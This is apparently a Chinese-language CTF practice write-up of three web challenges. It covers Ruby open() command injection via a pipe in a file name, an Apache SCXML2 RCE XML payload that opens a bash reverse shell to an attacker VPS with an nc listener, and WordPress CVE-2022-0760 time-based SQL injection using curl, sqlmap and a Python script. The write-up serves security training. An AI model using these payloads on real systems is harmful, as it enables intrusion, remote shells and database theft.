2025-8-1-复现
从今天开始,我想做个计划,搞个每日3题来督促自己训练,加油,今天是第一天。
1.[第五空间 2021]PNG图片转换器
拿到题先看看附件,是ruby语言
点击查看代码
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
分析代码
上传一个png图片

然后用这个编码过得图片名称3676a736352600c63d6aea6fa2aef54b.png到/convert去看看

点击查询可见一个base64编码的内容,

是上传的图片内容
有这个我们想是不是可以将shell写进文件中
这里我们利用反引号和管道符来写入
抓包修改

用env命令来执行
file=|`echo ZW52 | base64 -d`>3676a736352600c63d6aea6fa2aef54b.png

回到网页发现一大串base64的内容
解码拿到flag

2.[HDCTF 2023]BabyJxVx
这题是Apache SCXML2 RCE漏洞
附件是jar包,用jd-gui打开
看到关键代码
点击查看代码
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
@Controller
public class Flagcontroller {
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
int node1 = doc.getElementsByTagName("script").getLength();
int node2 = doc.getElementsByTagName("datamodel").getLength();
int node3 = doc.getElementsByTagName("invoke").getLength();
int node4 = doc.getElementsByTagName("param").getLength();
int node5 = doc.getElementsByTagName("parallel").getLength();
int node6 = doc.getElementsByTagName("history").getLength();
int node7 = doc.getElementsByTagName("transition").getLength();
int node8 = doc.getElementsByTagName("state").getLength();
int node9 = doc.getElementsByTagName("onentry").getLength();
int node10 = doc.getElementsByTagName("if").getLength();
int node11 = doc.getElementsByTagName("elseif").getLength();
if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0)
return Boolean.valueOf(false);
return Boolean.valueOf(true);
}
@RequestMapping({"/"})
public String index() {
return "index";
}
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename).booleanValue()) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
} catch (Exception var5) {
System.out.println(var5);
}
return "revenge?";
}
}
这里存在Apache SCXML2 RCE漏洞
我们发现filename的参数是可以控制的,然后有个SCXMLReader.read可读内容,通过构造恶意的xml文件来拿到shell
找找漏洞的poc,构造shell.xml
点击查看代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,base64_encode(bash -i >& /dev/tcp/ip/6666 0>&1)}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
这里有个base64_encode(bash -i >& /dev/tcp/ip/6666 0>&1),意思需要读者自己用ip来构造base64代码。然后替换
例如,构造如下:
点击查看代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<final id="run">
<onexit>
<assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
</onexit>
</final>
</scxml>
构造完后放到vps的root下,开启python服务
python3 -m http.server 8000
之后再开个进行监听
例如
nc -lvnp 2222
之后我们返回网页输入payload
/Flag?filename=http://your_ip:8000/shell.xml
之后反弹shell成功

拿到flag
3.[HNCTF 2022 WEEK2]ohmywordpress
拿到题打开环境,是WordPress,用wappalyzer查看版本

是WordPress6.02版本,查查有没有poc
找到CVE-2022-0760 漏洞,查看poc

payload是
点击查看代码
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'
这里我使用sqlmap来拿flag
点击查看代码
sqlmap -u "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" --dbs
sqlmap -u "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining --tables
sqlmap -u "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php" --data="action=qcopd_upvote_action&post_id=1" -D ctftraining -T flag --dump

拿到flag
当然也可用python写脚本,来写时间盲注
点击查看代码
import requests
import time
url = "http://node5.anna.nssctf.cn:26297/wp-admin/admin-ajax.php"
result = ""
for i in range(1, 100):
length = len(result)
for o in range(32, 128):
data = {
"action": "qcopd_upvote_action",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
# "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
"post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
}
time1 = time.time()
res = requests.post(url, data=data)
time2 = time.time()
# print(time2 - time1)
# exit()
if time2 - time1 > 3:
result += chr(o)
print(result)
break
if len(result) == length:
break

浙公网安备 33010602011771号